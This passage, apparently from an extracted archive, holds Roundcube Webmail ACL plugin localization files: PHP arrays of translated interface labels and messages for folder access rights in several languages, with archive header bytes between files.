$labels['shortacld'] = 'मिटा';
$labels['shortaclt'] = 'मिटा';
$labels['shortacldelete'] = 'मिटा';
PKh�\X_#yBB"plugins/acl/localization/uk_UA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Поширення';
$labels['myrights'] = 'Права доступу';
$labels['username'] = 'Користувач:';
$labels['advanced'] = 'Розширений режим';
$labels['add'] = 'Додати';
$labels['newuser'] = 'Додати запис';
$labels['editperms'] = 'Редагувати дозволи';
$labels['actions'] = 'Дії з правами доступу…';
$labels['anyone'] = 'Усі користувачі (будь-хто)';
$labels['anonymous'] = 'Гості (аноніми)';
$labels['identifier'] = 'Ідентифікатор';
$labels['acll'] = 'Пошук';
$labels['aclr'] = 'Прочитані повідомлення';
$labels['acls'] = 'Зберегти статус «Прочитано»';
$labels['aclw'] = 'Прапорці написання';
$labels['acli'] = 'Вставити (Копіювати в)';
$labels['aclp'] = 'Допис';
$labels['aclc'] = 'Створити підтеки';
$labels['aclk'] = 'Створити підтеки';
$labels['acld'] = 'Вилучити повідомлення';
$labels['aclt'] = 'Вилучити повідомлення';
$labels['acle'] = 'Викреслити';
$labels['aclx'] = 'Вилучити теку';
$labels['acla'] = 'Адмініструвати';
$labels['acln'] = 'Анотувати повідомлення';
$labels['aclfull'] = 'Повний контроль';
$labels['aclother'] = 'Інше';
$labels['aclread'] = 'Читати';
$labels['aclwrite'] = 'Писати';
$labels['acldelete'] = 'Вилучити';
$labels['shortacll'] = 'Пошук';
$labels['shortaclr'] = 'Читати';
$labels['shortacls'] = 'Залишити';
$labels['shortaclw'] = 'Писати';
$labels['shortacli'] = 'Вставити';
$labels['shortaclp'] = 'Дописати';
$labels['shortaclc'] = 'Створити';
$labels['shortaclk'] = 'Створити';
$labels['shortacld'] = 'Вилучити';
$labels['shortaclt'] = 'Вилучити';
$labels['shortacle'] = 'Викреслити';
$labels['shortaclx'] = 'Вилучити теку';
$labels['shortacla'] = 'Адмініструвати';
$labels['shortacln'] = 'Анотувати';
$labels['shortaclother'] = 'Інше';
$labels['shortaclread'] = 'Читати';
$labels['shortaclwrite'] = 'Писати';
$labels['shortacldelete'] = 'Вилучити';
$labels['longacll'] = 'Тека видима у списках і на неї можна підписатись';
$labels['longaclr'] = 'Теку можна відкрити для читання';
$labels['longacls'] = 'Прапорець «Прочитано» на повідомленнях можна змінити';
$labels['longaclw'] = 'Прапорці і ключові слова повідомлень можна змінити, окрім «Прочитано» і «Вилучено»';
$labels['longacli'] = 'Повідомлення можна записати або копіювати у теку';
$labels['longaclp'] = 'Повідомлення можна публікувати в цю теку';
$labels['longaclc'] = 'Теки можна створювати (чи перейменовувати) прямо під цією текою';
$labels['longaclk'] = 'Теки можна створювати (чи перейменовувати) прямо під цією текою';
$labels['longacld'] = 'Прапорець «Вилучено» на повідомленнях можна змінити';
$labels['longaclt'] = 'Прапорець «Вилучено» на повідомленнях можна змінити';
$labels['longacle'] = 'Повідомлення можна викреслити';
$labels['longaclx'] = 'Теку можна вилучити чи перейменувати';
$labels['longacla'] = 'Права доступу до теки можна змінити';
$labels['longacln'] = 'Поширені метадані (анотації) повідомлень можна змінити';
$labels['longaclfull'] = 'Повний контроль, включно з адмініструванням тек';
$labels['longaclread'] = 'Теку можна відкрити для читання';
$labels['longaclwrite'] = 'Повідомлення можна позначити, записати або копіювати у теку';
$labels['longacldelete'] = 'Повідомлення можна вилучити';
$labels['longaclother'] = 'Інші права доступу';
$labels['ariasummaryacltable'] = 'Список прав доступу';
$labels['arialabelaclactions'] = 'Перелічити дії';
$labels['arialabelaclform'] = 'Форма прав доступу';
$messages['deleting'] = 'Вилучення прав доступу…';
$messages['saving'] = 'Збереження прав доступу…';
$messages['updatesuccess'] = 'Права доступу успішно змінені';
$messages['deletesuccess'] = 'Права доступу успішно вилучені';
$messages['createsuccess'] = 'Права доступу успішно додані';
$messages['updateerror'] = 'Не вдалося оновити права доступу';
$messages['deleteerror'] = 'Не вдалося вилучити права доступу';
$messages['createerror'] = 'Не вдалося додати права доступу';
$messages['deleteconfirm'] = 'Ви дійсно хочете вилучити права доступу обраного користувача(-ів)?';
$messages['norights'] = 'Жодних прав не вказано!';
$messages['nouser'] = 'Жодного імені користувача не вказано!';
PKh�\�1�L�	�	"plugins/acl/localization/fy_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Dielen';
$labels['myrights'] = 'Tagong Rjochten';
$labels['username'] = 'Brûker:';
$labels['advanced'] = 'Avansearre modus';
$labels['add'] = 'Tafoegje';
$labels['newuser'] = 'Ynfier taheakje';
$labels['editperms'] = 'Bewurkje tagongsrjochten';
$labels['actions'] = 'Tagong aksjes...';
$labels['anyone'] = 'Alle brûkers (eltsenien)';
$labels['anonymous'] = 'Gasten (anonym)';
$labels['identifier'] = 'Identifikator';
$labels['acll'] = 'Opsykje';
$labels['aclr'] = 'Lêzen berjochten';
$labels['acls'] = 'Bewarje Sjoen steat';
$labels['aclw'] = 'Skriuw flaggen';
$labels['acli'] = 'Ynfoegje (Kopiearje yn)';
$labels['aclp'] = 'Pleatse';
$labels['aclc'] = 'Underlizzende mappen oanmeitsje';
$labels['aclk'] = 'Underlizzende mappen oanmeitsje';
$labels['acld'] = 'Berjochten wiskje';
$labels['aclt'] = 'Berjochten wiskje';
$labels['acle'] = 'Level';
$labels['aclx'] = 'Map ferwiderje';
$labels['acla'] = 'Beheare';
$labels['acln'] = 'Annotate berjochten';
$labels['aclfull'] = 'Folsleine kontrôle';
$labels['aclother'] = 'Oars';
$labels['aclread'] = 'Lêze';
$labels['aclwrite'] = 'Skriuwe';
$labels['acldelete'] = 'Ferwiderje';
$labels['shortacll'] = 'Opsykje';
$labels['shortaclr'] = 'Lêze';
$labels['shortacls'] = 'Hâlde';
$labels['shortaclw'] = 'Skriuwe';
$labels['shortacli'] = 'Ynfoegje';
$labels['shortaclp'] = 'Pleatse';
$labels['shortaclc'] = 'Oanmeitsje';
$labels['shortaclk'] = 'Oanmeitsje';
$labels['shortacld'] = 'Ferwiderje';
$labels['shortaclt'] = 'Ferwiderje';
$labels['shortacle'] = 'Level';
$labels['shortaclx'] = 'Map ferwiderje';
$labels['shortacla'] = 'Beheare';
$labels['shortaclother'] = 'Oars';
$labels['shortaclread'] = 'Lêze';
$labels['shortaclwrite'] = 'Skriuwe';
$labels['shortacldelete'] = 'Ferwiderje';
PKh�\�>FKyy"plugins/acl/localization/de_CH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Freigabe';
$labels['myrights'] = 'Zugriffsrechte';
$labels['username'] = 'Benutzer:';
$labels['advanced'] = 'Expertenmodus';
$labels['add'] = 'Hinzufügen';
$labels['newuser'] = 'Eintrag hinzufügen';
$labels['editperms'] = 'Zugriffsrechte bearbeiten';
$labels['actions'] = 'Zugriffsrechte Aktionen...';
$labels['anyone'] = 'Alle Benutzer (anyone)';
$labels['anonymous'] = 'Gäste (anonymous)';
$labels['identifier'] = 'Bezeichnung';
$labels['acll'] = 'Sichtbar';
$labels['aclr'] = 'Nachrichten lesen';
$labels['acls'] = 'Lesestatus ändern';
$labels['aclw'] = 'Flags schreiben';
$labels['acli'] = 'Nachrichten hinzufügen';
$labels['aclp'] = 'Senden an';
$labels['aclc'] = 'Unterordner erstellen';
$labels['aclk'] = 'Unterordner erstellen';
$labels['acld'] = 'Nachrichten als gelöscht markieren';
$labels['aclt'] = 'Nachrichten als gelöscht markieren';
$labels['acle'] = 'Endgültig löschen';
$labels['aclx'] = 'Ordner löschen';
$labels['acla'] = 'Verwalten';
$labels['acln'] = 'Nachrichten auszeichnen';
$labels['aclfull'] = 'Vollzugriff';
$labels['aclother'] = 'Andere';
$labels['aclread'] = 'Lesen';
$labels['aclwrite'] = 'Schreiben';
$labels['acldelete'] = 'Löschen';
$labels['shortacll'] = 'Sichtbar';
$labels['shortaclr'] = 'Lesen';
$labels['shortacls'] = 'Behalte';
$labels['shortaclw'] = 'Schreiben';
$labels['shortacli'] = 'Hinzufügen';
$labels['shortaclp'] = 'Senden an';
$labels['shortaclc'] = 'Erstellen';
$labels['shortaclk'] = 'Erstellen';
$labels['shortacld'] = 'Löschen';
$labels['shortaclt'] = 'Löschen';
$labels['shortacle'] = 'Endgültig löschen';
$labels['shortaclx'] = 'Ordner löschen';
$labels['shortacla'] = 'Verwalten';
$labels['shortacln'] = 'Auszeichnen';
$labels['shortaclother'] = 'Andere';
$labels['shortaclread'] = 'Lesen';
$labels['shortaclwrite'] = 'Schreiben';
$labels['shortacldelete'] = 'Löschen';
$labels['longacll'] = 'Der Ordner ist sichtbar und kann abonniert werden';
$labels['longaclr'] = 'Der Ordnerinhalt kann gelesen werden';
$labels['longacls'] = 'Der Lesestatus von Nachrichten kann geändert werden';
$labels['longaclw'] = 'Alle Nachrichten-Flags und Schlüsselwörter ausser "Gelesen" und "Gelöscht" können geändert werden';
$labels['longacli'] = 'Nachrichten können in diesen Ordner kopiert oder verschoben werden';
$labels['longaclp'] = 'Nachrichten können an diesen Ordner gesendet werden';
$labels['longaclc'] = 'Unterordner können in diesem Ordner erstellt oder umbenannt werden';
$labels['longaclk'] = 'Unterordner können in diesem Ordner erstellt oder umbenannt werden';
$labels['longacld'] = 'Der "gelöscht" Status von Nachrichten kann geändert werden';
$labels['longaclt'] = 'Der "gelöscht" Status von Nachrichten kann geändert werden';
$labels['longacle'] = 'Als "gelöscht" markierte Nachrichten können entfernt werden';
$labels['longaclx'] = 'Der Ordner kann gelöscht oder umbenannt werden';
$labels['longacla'] = 'Die Zugriffsrechte des Ordners können geändert werden';
$labels['longacln'] = 'Geteilte Nachrichten-Auszeichnungen (Metadaten) können nicht geändert werden';
$labels['longaclfull'] = 'Vollzugriff inklusive Ordner-Verwaltung';
$labels['longaclread'] = 'Der Ordnerinhalt kann gelesen werden';
$labels['longaclwrite'] = 'Nachrichten können markiert, an den Ordner gesendet und in den Ordner kopiert oder verschoben werden';
$labels['longacldelete'] = 'Nachrichten können gelöscht werden';
$labels['longaclother'] = 'Andere Zugriffsrechte ';
$labels['ariasummaryacltable'] = 'Liste der Zugriffsrechte';
$labels['arialabelaclactions'] = 'Listen-Aktionen';
$labels['arialabelaclform'] = 'Zugriffsrechte (Formular)';
$messages['deleting'] = 'Zugriffsrechte werden entzogen...';
$messages['saving'] = 'Zugriffsrechte werden gespeichert...';
$messages['updatesuccess'] = 'Zugriffsrechte erfolgreich geändert';
$messages['deletesuccess'] = 'Zugriffsrechte erfolgreich entzogen';
$messages['createsuccess'] = 'Zugriffsrechte erfolgreich hinzugefügt';
$messages['updateerror'] = 'Zugriffsrechte konnten nicht geändert werden';
$messages['deleteerror'] = 'Zugriffsrechte konnten nicht entzogen werden';
$messages['createerror'] = 'Zugriffsrechte konnten nicht gewährt werden';
$messages['deleteconfirm'] = 'Sind Sie sicher, dass Sie die Zugriffsrechte den ausgewählten Benutzern entziehen möchten?';
$messages['norights'] = 'Es wurden keine Zugriffsrechte ausgewählt!';
$messages['nouser'] = 'Es wurde kein Benutzer ausgewählt!';
PKh�\_n��  #plugins/acl/localization/es_419.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Compartiendo';
$labels['myrights'] = 'Permisos de acceso';
$labels['username'] = 'Usuario:';
$labels['advanced'] = 'Modo avanzado';
$labels['add'] = 'Agregar';
$labels['newuser'] = 'Añadir entrada';
$labels['editperms'] = 'Editar permisos';
$labels['actions'] = 'Acciones de derecho de acceso...';
$labels['anyone'] = 'Todos los usuarios (cualquiera)';
$labels['anonymous'] = 'Invitados (anónimos)';
$labels['identifier'] = 'Identificador';
$labels['acll'] = 'Búsqueda';
$labels['aclr'] = 'Leer mensajes';
$labels['acls'] = 'Mantener estado de visto';
$labels['aclw'] = 'Etiquetas de escritura';
$labels['acli'] = 'Insertar (copiar a)';
$labels['aclp'] = 'Publicar';
$labels['aclc'] = 'Crear subcarpetas';
$labels['aclk'] = 'Crear subcarpetas';
$labels['acld'] = 'Eliminar mensajes';
$labels['aclt'] = 'Eliminar mensajes';
$labels['acle'] = 'Borrar';
$labels['aclx'] = 'Eliminar carpeta';
$labels['acla'] = 'Administrar';
$labels['acln'] = 'Anotar mensajes';
$labels['aclfull'] = 'Control total';
$labels['aclother'] = 'Otro';
$labels['aclread'] = 'Leer';
$labels['aclwrite'] = 'Escribir';
$labels['acldelete'] = 'Eliminar';
$labels['shortacll'] = 'Búsqueda';
$labels['shortaclr'] = 'Leer';
$labels['shortacls'] = 'Mantener';
$labels['shortaclw'] = 'Escribir';
$labels['shortacli'] = 'Insertar';
$labels['shortaclp'] = 'Publicar';
$labels['shortaclc'] = 'Crear';
$labels['shortaclk'] = 'Crear';
$labels['shortacld'] = 'Eliminar';
$labels['shortaclt'] = 'Eliminar';
$labels['shortacle'] = 'Borrar';
$labels['shortaclx'] = 'Eliminar carpeta';
$labels['shortacla'] = 'Administrar';
$labels['shortacln'] = 'Anotar';
$labels['shortaclother'] = 'Otro';
$labels['shortaclread'] = 'Leer';
$labels['shortaclwrite'] = 'Escribir';
$labels['shortacldelete'] = 'Eliminar';
$labels['longacll'] = 'La carpeta es visible en listas y se la puede suscribir';
$labels['longaclr'] = 'La carpeta puede ser abierta para lectura';
$labels['longacls'] = 'Etiqueta de mensajes leídos puede ser cambiada';
$labels['longaclw'] = 'Las etiquetas de mensajes y palabras clave puede ser cambiada, excepto Leídos y Eliminados';
$labels['longacli'] = 'Se pueden escribir o copiar mensajes a la carpeta';
$labels['longaclp'] = 'Los mensajes pueden ser publicados en esta carpeta';
$labels['longaclc'] = 'Las carpetas pueden ser creadas (o renombradas) directamente desde esta carpeta';
$labels['longaclk'] = 'Las carpetas pueden ser creadas (o renombradas) directamente desde esta carpeta';
$labels['longacld'] = 'La etiqueta de mensajes eliminados puede ser cambiada';
$labels['longaclt'] = 'La etiqueta de mensajes eliminados puede ser cambiada';
$labels['longacle'] = 'Los mensajes pueden ser borrados';
$labels['longaclx'] = 'La carpeta puede ser eliminada o renombrada';
$labels['longacla'] = 'Los derechos de acceso de la carpeta pueden ser cambiados';
$labels['longacln'] = 'Los metadatos compartidos de los mensajes (anotaciones) puede ser cambiado';
$labels['longaclfull'] = 'Control total incluyendo administración de carpetas';
$labels['longaclread'] = 'La carpeta puede ser abierta para lectura';
$labels['longaclwrite'] = 'Los mensajes pueden ser marcados, escritos o copiados a la carpeta';
$labels['longacldelete'] = 'Los mensajes pueden ser eliminados';
$labels['longaclother'] = 'Otros derechos de acceso';
$labels['ariasummaryacltable'] = 'Lista de derechos de acceso';
$labels['arialabelaclactions'] = 'Listar acciones';
$labels['arialabelaclform'] = 'Formulario de derechos de acceso';
$messages['deleting'] = 'Derechos de acceso de eliminación...';
$messages['saving'] = 'Guardando derechos de acceso...';
$messages['updatesuccess'] = 'Se han cambiado los derechos de acceso exitosamente';
$messages['deletesuccess'] = 'Se han eliminado los derechos de acceso exitosamente';
$messages['createsuccess'] = 'Se han agregado los derechos de acceso exitosamente';
$messages['updateerror'] = 'No es posible actualizar los derechos de acceso';
$messages['deleteerror'] = 'No es posible eliminar los derechos de acceso';
$messages['createerror'] = 'No es posible agregar los derechos de acceso';
$messages['deleteconfirm'] = '¿Estás seguro de que deseas eliminar los derechos de acceso a usuario(s) seleccionado(s)?';
$messages['norights'] = '¡No se hace especificado un derecho!';
$messages['nouser'] = '¡No se ha especificado un nombre de usuario!';
PKh�\����""plugins/acl/localization/uz.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Bo‘lishish';
$labels['myrights'] = 'Kirish huquqlari';
$labels['username'] = 'Foydalanuvchi:';
$labels['advanced'] = 'Kengaytirilgan rejim';
$labels['add'] = 'Qo`shish';
$labels['newuser'] = 'Qo‘shish';
$labels['editperms'] = 'Ruxsatlarni tahrirlash';
$labels['actions'] = 'Kirish huquqi harakatlari';
$labels['anyone'] = 'Barcha foydalanuvchilar (hamma)';
$labels['anonymous'] = 'Mehmonlar (anonim)';
$labels['identifier'] = 'Identifikatsiya';
$labels['acll'] = 'Qidirish';
$labels['aclr'] = 'Xatlarni o‘qish';
$labels['acli'] = 'Kiritish (...ga nusxalash)';
$labels['aclp'] = 'Xat';
$labels['aclc'] = 'Ichki papkalarni yaratish';
$labels['aclk'] = 'Ichki papkalarni yaratish';
$labels['acld'] = 'Xabarlarni o‘chirish';
$labels['aclt'] = 'Xabarlarni o‘chirish';
$labels['aclx'] = 'Papkani o‘chirish';
$labels['aclother'] = 'Boshqa';
$labels['aclread'] = 'O`qilgan';
$labels['acldelete'] = 'O`chirish';
$labels['shortacll'] = 'Qidirish';
$labels['shortaclr'] = 'O`qilgan';
$labels['shortaclp'] = 'Xat';
$labels['shortaclc'] = 'Yaratish';
$labels['shortaclk'] = 'Yaratish';
$labels['shortacld'] = 'O`chirish';
$labels['shortaclt'] = 'O`chirish';
$labels['shortaclother'] = 'Boshqa';
$labels['shortaclread'] = 'O`qilgan';
$labels['shortacldelete'] = 'O`chirish';
PKh�\`�(�<<"plugins/acl/localization/hy_AM.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Կիսվել';
$labels['myrights'] = 'Մուտքի իրավունքներ';
$labels['username'] = 'Օգտատեր`';
$labels['advanced'] = 'Առաջադեմ ռեժիմ';
$labels['add'] = 'Ավելացնել';
$labels['newuser'] = 'Ավելացնել գրառում';
$labels['editperms'] = 'Խմբագրել թույլտվությունները';
$labels['actions'] = 'Մուտքի իրավունքների գործողություններ…';
$labels['anyone'] = 'Բոլոր օգտվողները (ցանկացած)';
$labels['anonymous'] = 'Հյուրերը (անանուն)';
$labels['identifier'] = 'Նկարագրիչ';
$labels['acll'] = 'Փնտրում';
$labels['aclr'] = 'Կարդալ հաղորդագրությունները';
$labels['acls'] = 'Պահպանել դիտման կարգավիճակը';
$labels['aclw'] = 'Գրառման նշումներ';
$labels['acli'] = 'Ներդնել (Պատճենել ներս)';
$labels['aclp'] = 'Հրապարակել';
$labels['aclc'] = 'Ստեղծել ենթապանակներ';
$labels['aclk'] = 'Ստեղծել ենթապանակներ';
$labels['acld'] = 'Ջնջել հաղորդագրությունները';
$labels['aclt'] = 'Ջնջել հաղորդագրությունները';
$labels['acle'] = 'Հեռացնել';
$labels['aclx'] = 'Ջնջել պանակը';
$labels['acla'] = 'Կառավարել';
$labels['acln'] = 'Ծանոթագրել հաղորդագրությունները';
$labels['aclfull'] = 'Լրիվ վերահսկում';
$labels['aclother'] = 'Այլ';
$labels['aclread'] = 'Կարդալ';
$labels['aclwrite'] = 'Գրել';
$labels['acldelete'] = 'Ջնջել';
$labels['shortacll'] = 'Փնտրում';
$labels['shortaclr'] = 'Կարդալ';
$labels['shortacls'] = 'Պահել';
$labels['shortaclw'] = 'Գրել';
$labels['shortacli'] = 'Ներդնել';
$labels['shortaclp'] = 'Հրապարակել';
$labels['shortaclc'] = 'Ստեղծել';
$labels['shortaclk'] = 'Ստեղծել';
$labels['shortacld'] = 'Ջնջել';
$labels['shortaclt'] = 'Ջնջել';
$labels['shortacle'] = 'Հեռացնել';
$labels['shortaclx'] = 'Պանակի ջնջում';
$labels['shortacla'] = 'Կառավարել';
$labels['shortacln'] = 'Ծանոթագրել';
$labels['shortaclother'] = 'Այլ';
$labels['shortaclread'] = 'Կարդալ';
$labels['shortaclwrite'] = 'Գրել';
$labels['shortacldelete'] = 'Ջնջել';
$labels['longacll'] = 'Պանակը երևում է ցուցակներում և նրան հնարավոր է բաժանորդագրվել';
$labels['longaclr'] = 'Պանակը կարող է բացվել ընթերցման համար';
$labels['longacls'] = 'Տեսված հաղորդագրությունների նշումը կարող է փոփոխվել';
$labels['longaclw'] = 'Հաղորդագրությունների նշումները և հիմնաբառերը կարող են փոփոխվել, բացառությամբ Տեսած և Ջնջված նշումների';
$labels['longacli'] = 'Հաղորդագրությունները կարող են գրվել և պատճենվել պանակի մեջ';
$labels['longaclp'] = 'Հաղորդագրությունները կարող են հրապարակվել այս պանակում';
$labels['longaclc'] = 'Պանակները կարող են ստեղծվել (կամ վերանվանվել) այս պանակում';
$labels['longaclk'] = 'Պանակները կարող են ստեղծվել (կամ վերանվանվել) այս պանակում';
$labels['longacld'] = 'Հաղորդագրությունների Ջնջել նշումը կարող է փոփոխվել';
$labels['longaclt'] = 'Հաղորդագրությունների Ջնջել նշումը կարող է փոփոխվել';
$labels['longacle'] = 'Հաղորդագրությունները կարող են հեռացվել';
$labels['longaclx'] = 'Պանակը կարող է ջնջվել կամ վերանվանվել';
$labels['longacla'] = 'Պանակի մուտքի իրավունքները կարող են փոփոխվել';
$labels['longacln'] = 'Հաղորդագրությունների բաշխված տվյալները (ծանոթագրությունները) կարող են փոփոխվել';
$labels['longaclfull'] = 'Լրիվ վերահսկում ներառյալ պանակների կառավարումը';
$labels['longaclread'] = 'Պանակը կարող է բացվել ընթերցման համար';
$labels['longaclwrite'] = 'Հաղորդագրությունները կարող են նշվել, ստեղծվել և պատճենվել այս պանակում';
$labels['longacldelete'] = 'Հաղորդագրությունները կարող են ջնջվել';
$labels['longaclother'] = 'Մուտքի այլ իրավունքները';
$labels['ariasummaryacltable'] = 'Մուտքի իրավունքների ցուցակը';
$labels['arialabelaclactions'] = 'Գործողությունների ցուցակը';
$labels['arialabelaclform'] = 'Մուտքի իրավունքների բլանկ';
$messages['deleting'] = 'Ջնջվում են մուտքի իրավունքները…';
$messages['saving'] = 'Պահպանվում են մուտքի իրավունքները…';
$messages['updatesuccess'] = 'Մուտքի իրավունքները բարեհաջող փոփոխվեցին։';
$messages['deletesuccess'] = 'Մուտքի իրավունքները բարեհաջող ջնջվեցին։';
$messages['createsuccess'] = 'Մուտքի իրավունքները բարեհաջող ավելացվեցվին։';
$messages['updateerror'] = 'Մուտքի իրավունքների թարմացումը անջատել';
$messages['deleteerror'] = 'Մուտքի իրավունքները ջնջումը ձախողվեց։';
$messages['createerror'] = 'Մուտքի իրավունքները ավելացումը ձախողվեց։';
$messages['deleteconfirm'] = 'Դուք վստա՞հ էք, որ ցանկանում եք նշված օգտվողներին զրկել մուտքի իրավունքներից։';
$messages['norights'] = 'Ոչ մի իրավունք չի՛ նշվել։';
$messages['nouser'] = 'Օգտվողի անունը չի՛ նշվել։';
PKh�\0Y�CC"plugins/acl/localization/en_CA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Sharing';
$labels['myrights'] = 'Access Rights';
$labels['username'] = 'User:';
$labels['advanced'] = 'Advanced mode';
$labels['add'] = 'Add';
$labels['newuser'] = 'Add entry';
$labels['editperms'] = 'Edit permissions';
$labels['actions'] = 'Access right actions...';
$labels['anyone'] = 'All users (anyone)';
$labels['anonymous'] = 'Guests (anonymous)';
$labels['identifier'] = 'Identifier';
$labels['acll'] = 'Lookup';
$labels['aclr'] = 'Read messages';
$labels['acls'] = 'Keep Seen state';
$labels['aclw'] = 'Write flags';
$labels['acli'] = 'Insert (Copy into)';
$labels['aclp'] = 'Post';
$labels['aclc'] = 'Create subfolders';
$labels['aclk'] = 'Create subfolders';
$labels['acld'] = 'Delete messages';
$labels['aclt'] = 'Delete messages';
$labels['acle'] = 'Expunge';
$labels['aclx'] = 'Delete folder';
$labels['acla'] = 'Administer';
$labels['acln'] = 'Annotate messages';
$labels['aclfull'] = 'Full control';
$labels['aclother'] = 'Other';
$labels['aclread'] = 'Read';
$labels['aclwrite'] = 'Write';
$labels['acldelete'] = 'Delete';
$labels['shortacll'] = 'Lookup';
$labels['shortaclr'] = 'Read';
$labels['shortacls'] = 'Keep';
$labels['shortaclw'] = 'Write';
$labels['shortacli'] = 'Insert';
$labels['shortaclp'] = 'Post';
$labels['shortaclc'] = 'Create';
$labels['shortaclk'] = 'Create';
$labels['shortacld'] = 'Delete';
$labels['shortaclt'] = 'Delete';
$labels['shortacle'] = 'Expunge';
$labels['shortaclx'] = 'Folder delete';
$labels['shortacla'] = 'Administer';
$labels['shortacln'] = 'Annotate';
$labels['shortaclother'] = 'Other';
$labels['shortaclread'] = 'Read';
$labels['shortaclwrite'] = 'Write';
$labels['shortacldelete'] = 'Delete';
$labels['longacll'] = 'The folder is visible on lists and can be subscribed to';
$labels['longaclr'] = 'The folder can be opened for reading';
$labels['longacls'] = 'Messages Seen flag can be changed';
$labels['longaclw'] = 'Messages flags and keywords can be changed, except Seen and Deleted';
$labels['longacli'] = 'Messages can be written or copied to the folder';
$labels['longaclp'] = 'Messages can be posted to this folder';
$labels['longaclc'] = 'Folders can be created (or renamed) directly under this folder';
$labels['longaclk'] = 'Folders can be created (or renamed) directly under this folder';
$labels['longacld'] = 'Messages Delete flag can be changed';
$labels['longaclt'] = 'Messages Delete flag can be changed';
$labels['longacle'] = 'Messages can be expunged';
$labels['longaclx'] = 'The folder can be deleted or renamed';
$labels['longacla'] = 'The folder access rights can be changed';
$labels['longacln'] = 'Messages shared metadata (annotations) can be changed';
$labels['longaclfull'] = 'Full control including folder administration';
$labels['longaclread'] = 'The folder can be opened for reading';
$labels['longaclwrite'] = 'Messages can be marked, written or copied to the folder';
$labels['longacldelete'] = 'Messages can be deleted';
$messages['deleting'] = 'Deleting access rights...';
$messages['saving'] = 'Saving access rights...';
$messages['updatesuccess'] = 'Successfully changed access rights';
$messages['deletesuccess'] = 'Successfully deleted access rights';
$messages['createsuccess'] = 'Successfully added access rights';
$messages['updateerror'] = 'Unable to update access rights';
$messages['deleteerror'] = 'Unable to delete access rights';
$messages['createerror'] = 'Unable to add access rights';
$messages['deleteconfirm'] = 'Are you sure, you want to remove access rights of selected user(s)?';
$messages['norights'] = 'No rights has been specified!';
$messages['nouser'] = 'No username has been specified!';
PKh�\�;t��"plugins/acl/localization/zh_TW.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = '共享';
$labels['myrights'] = '存取權限';
$labels['username'] = '使用者:';
$labels['advanced'] = '進階模式';
$labels['add'] = '加入';
$labels['newuser'] = '新增項目';
$labels['editperms'] = '編輯權限';
$labels['actions'] = '權限設定...';
$labels['anyone'] = '所有使用者 (任何人)';
$labels['anonymous'] = '訪客 (匿名)';
$labels['identifier'] = '識別碼';
$labels['acll'] = '尋找';
$labels['aclr'] = '讀取郵件';
$labels['acls'] = '保持上線狀態';
$labels['aclw'] = '寫入旗標';
$labels['acli'] = '插入 (複製到這裡)';
$labels['aclp'] = '發表';
$labels['aclc'] = '建立子資料夾';
$labels['aclk'] = '建立子資料夾';
$labels['acld'] = '刪除郵件';
$labels['aclt'] = '刪除郵件';
$labels['acle'] = '刪去';
$labels['aclx'] = '刪除資料夾';
$labels['acla'] = '管理者';
$labels['acln'] = '評注郵件';
$labels['aclfull'] = '完全控制';
